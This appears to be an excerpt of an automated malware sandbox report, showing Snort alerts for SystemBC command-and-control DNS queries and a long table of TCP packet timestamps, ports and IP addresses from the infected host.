Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.38.8.8.859869532031427 12/11/22-09:25:03.649156	UDP	2031427	ET TROJAN Observed SystemBC CnC Domain in DNS Query	59869	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.860625532031427 12/11/22-09:26:31.319789	UDP	2031427	ET TROJAN Observed SystemBC CnC Domain in DNS Query	60625	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.857990532031427 12/11/22-09:25:50.584799	UDP	2031427	ET TROJAN Observed SystemBC CnC Domain in DNS Query	57990	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.851139532031427 12/11/22-09:26:46.160582	UDP	2031427	ET TROJAN Observed SystemBC CnC Domain in DNS Query	51139	53	192.168.2.3	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2022 09:25:03.768495083 CET	49689	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:03.936191082 CET	4039	49689	34.171.171.32	192.168.2.3
Dec 11, 2022 09:25:03.936328888 CET	49689	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:03.937242031 CET	49689	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:04.104444027 CET	4039	49689	34.171.171.32	192.168.2.3
Dec 11, 2022 09:25:04.106853962 CET	4039	49689	34.171.171.32	192.168.2.3
Dec 11, 2022 09:25:04.107129097 CET	49689	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:04.116380930 CET	49689	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:04.236413002 CET	49690	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:04.283996105 CET	4039	49689	34.171.171.32	192.168.2.3
Dec 11, 2022 09:25:04.404062986 CET	4039	49690	34.171.171.32	192.168.2.3
Dec 11, 2022 09:25:04.404474974 CET	49690	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:04.405384064 CET	49690	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:04.572093010 CET	4039	49690	34.171.171.32	192.168.2.3
Dec 11, 2022 09:25:04.572719097 CET	4039	49690	34.171.171.32	192.168.2.3
Dec 11, 2022 09:25:04.572920084 CET	49690	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:04.573116064 CET	49690	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:25:04.656449080 CET	49691	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:25:04.656508923 CET	443	49691	64.185.227.156	192.168.2.3
Dec 11, 2022 09:25:04.656595945 CET	49691	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:25:04.657753944 CET	49691	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:25:04.657799006 CET	443	49691	64.185.227.156	192.168.2.3
Dec 11, 2022 09:25:04.739422083 CET	4039	49690	34.171.171.32	192.168.2.3
Dec 11, 2022 09:25:05.968753099 CET	443	49691	64.185.227.156	192.168.2.3
Dec 11, 2022 09:25:05.969027996 CET	49691	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:25:05.978851080 CET	49691	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:25:05.978897095 CET	443	49691	64.185.227.156	192.168.2.3
Dec 11, 2022 09:25:05.979273081 CET	443	49691	64.185.227.156	192.168.2.3
Dec 11, 2022 09:25:06.002130985 CET	49691	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:25:06.002181053 CET	443	49691	64.185.227.156	192.168.2.3
Dec 11, 2022 09:25:06.276694059 CET	443	49691	64.185.227.156	192.168.2.3
Dec 11, 2022 09:25:06.276846886 CET	443	49691	64.185.227.156	192.168.2.3
Dec 11, 2022 09:25:06.276916981 CET	49691	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:25:06.293411970 CET	49691	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:25:06.293442965 CET	443	49691	64.185.227.156	192.168.2.3
Dec 11, 2022 09:25:06.320678949 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.340828896 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.340969086 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.341257095 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.361155033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361409903 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361454964 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361498117 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361511946 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.361545086 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361588955 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361594915 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.361632109 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361675024 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361701965 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.361717939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361759901 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361759901 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.361803055 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.361845016 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.381867886 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.381934881 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.381979942 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.381997108 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.382023096 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382066011 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382067919 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.382108927 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382152081 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382152081 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.382196903 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382239103 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.382242918 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382286072 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382328987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382337093 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.382371902 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382415056 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382417917 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.382458925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382499933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382509947 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.382544994 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382599115 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382625103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382633924 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.382668972 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382680893 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.382713079 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.382757902 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.402718067 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.402793884 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.402817011 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.402851105 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.402864933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.402904987 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.402945042 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.402987957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403029919 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403034925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403078079 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403119087 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403121948 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403178930 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403223038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403238058 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403266907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403311014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403353930 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403383970 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403397083 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403402090 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403441906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403482914 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403484106 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403527975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403567076 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403569937 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403619051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403659105 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403661966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403681993 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403726101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403728962 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403770924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403809071 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403815985 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403844118 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403894901 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.403903008 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403923035 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403965950 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.403980017 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.404007912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404047966 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.404052019 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404103994 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404145002 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.404146910 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404190063 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404231071 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.404232979 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404275894 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404315948 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.404319048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404362917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404407024 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.404413939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404458046 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.404511929 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.424370050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424433947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424480915 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424489975 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.424525976 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424568892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424582958 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.424616098 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424659014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424685001 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.424702883 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424745083 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.424746037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424791098 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424829960 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.424834967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424877882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424922943 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.424926996 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.424969912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425008059 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425013065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425056934 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425098896 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425098896 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425143957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425187111 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425200939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425244093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425283909 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425287008 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425331116 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425373077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425379038 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425416946 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425458908 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425458908 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425503016 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425544977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425549984 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425587893 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425630093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425656080 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425674915 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425714016 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425717115 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425760031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425801992 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425802946 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425847054 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425885916 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.425892115 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425935984 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425976038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.425977945 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.426019907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426064014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426069021 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.426106930 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426150084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426177979 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.426191092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426229954 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.426234007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426276922 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426318884 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426337957 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.426362991 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426405907 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.426405907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426453114 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426495075 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426527977 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.426537991 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426580906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.426584005 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.446692944 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.446758032 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.446780920 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.446827888 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.446870089 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.446894884 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.446950912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.446997881 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447004080 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447041988 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447084904 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447092056 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447129965 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447171926 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447180033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447207928 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447251081 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447252035 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447294950 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447339058 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447340965 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447386026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447428942 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447429895 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447474957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447514057 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447526932 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447571039 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447612047 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447613955 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447659969 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447686911 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447720051 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447731972 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447771072 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447773933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447818041 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447863102 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447871923 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447911024 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447953939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.447956085 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.447999001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448040009 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448043108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448096991 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448137045 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448138952 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448184013 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448223114 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448225975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448271036 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448312044 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448313951 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448357105 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448400021 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448420048 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448446035 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448488951 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448493004 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448539019 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448580980 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448581934 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448625088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448666096 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448667049 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448719978 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448759079 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448762894 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448807001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448848963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448853016 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.448894978 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.448950052 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469016075 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469103098 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469151020 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469150066 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469197989 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469242096 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469245911 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469305992 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469353914 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469367981 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469398975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469444036 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469449997 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469494104 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469522953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469538927 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469566107 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469609022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469609976 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469651937 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469695091 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469713926 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469728947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469770908 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469774008 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469819069 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469863892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469866991 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.469909906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469954967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.469968081 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470001936 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470046043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.470047951 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.470088005 CET	80	49692	131.188.40.189	192.168.2.3
